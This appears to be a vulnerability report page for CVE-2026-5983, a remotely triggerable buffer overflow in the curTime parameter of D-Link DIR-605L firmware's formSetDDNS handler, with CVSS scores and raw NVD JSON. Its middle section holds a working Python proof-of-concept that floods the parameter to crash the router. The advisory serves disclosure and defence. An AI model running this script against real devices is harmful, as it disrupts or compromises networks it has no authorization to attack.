Security Vulnerability Report
中文
CVE-2026-5983 CVSS 8.8 HIGH

CVE-2026-5983

Published: 2026-04-09 22:16:38
Last Modified: 2026-04-30 15:22:52

Description

A vulnerability was determined in D-Link DIR-605L 2.13B01. This issue affects the function formSetDDNS of the file /goform/formSetDDNS of the component POST Request Handler. Executing a manipulation of the argument curTime can lead to buffer overflow. The attack can be executed remotely. The exploit has been publicly disclosed and may be utilized. This vulnerability only affects products that are no longer supported by the maintainer.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:dlink:dir-605l_firmware:2.13b01:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:dlink:dir-605l:-:*:*:*:*:*:*:* - NOT VULNERABLE
D-Link DIR-605L 2.13B01

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def exploit_poc(target_ip): """ Proof of Concept for CVE-2026-5983 This script sends a malicious POST request to trigger the buffer overflow. """ target_url = f"http://{target_ip}/goform/formSetDDNS" # The 'curTime' parameter is vulnerable. # Sending a long string to overwrite the return address on the stack. # Adjust the length based on specific buffer size analysis. payload_data = { "curTime": "A" * 1000 } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (compatible; ExploitBot/1.0)" } try: print(f"[+] Sending payload to {target_url}...") response = requests.post(target_url, data=payload_data, headers=headers, timeout=5) print(f"[+] Response status code: {response.status_code}") if response.status_code != 200: print("[!] Target may have crashed or service disrupted.") else: print("[!] Request sent, check device status for crash.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python exploit.py <target_ip>") else: exploit_poc(sys.argv[1])

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-5983", "sourceIdentifier": "[email protected]", "published": "2026-04-09T22:16:37.663", "lastModified": "2026-04-30T15:22:52.457", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["unsupported-when-assigned"]}], "descriptions": [{"lang": "en", "value": "A vulnerability was determined in D-Link DIR-605L 2.13B01. This issue affects the function formSetDDNS of the file /goform/formSetDDNS of the component POST Request Handler. Executing a manipulation of the argument curTime can lead to buffer overflow. The attack can be executed remotely. The exploit has been publicly disclosed and may be utilized. This vulnerability only affects products that are no longer supported by the maintainer."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "baseScore": 9.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE"}, "baseSeverity": "HIGH", "exploitabilityScore": 8.0, "impactScore": 10.0, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-119"}, {"lang": "en", "value": "CWE-120"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:dlink:dir-605l_firmware:2.13b01:*:*:*:*:*:*:*", "matchCriteriaId": "47A17995-9117-42E4-938E-D18F605DD0FE"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:dlink:dir-605l:-:*:*:*:*:*:*:*", "matchCriteriaId": "CD4E3AA2-EC1C-4219-8E13-B52D30A7FA06"}]}]}], "references": [{"url": "https://lavender-bicycle-a5a.notion.site/D-Link-DIR-605L-formSetDDNS-33153a41781f802f9997f48dc9cf6304?source=copy_link", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://vuldb.com/submit/791856", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/vuln/356537", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/vuln/356537/cti", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://www.dlink.com/", "source": "[email protected]", "tags": ["Product"]}]}}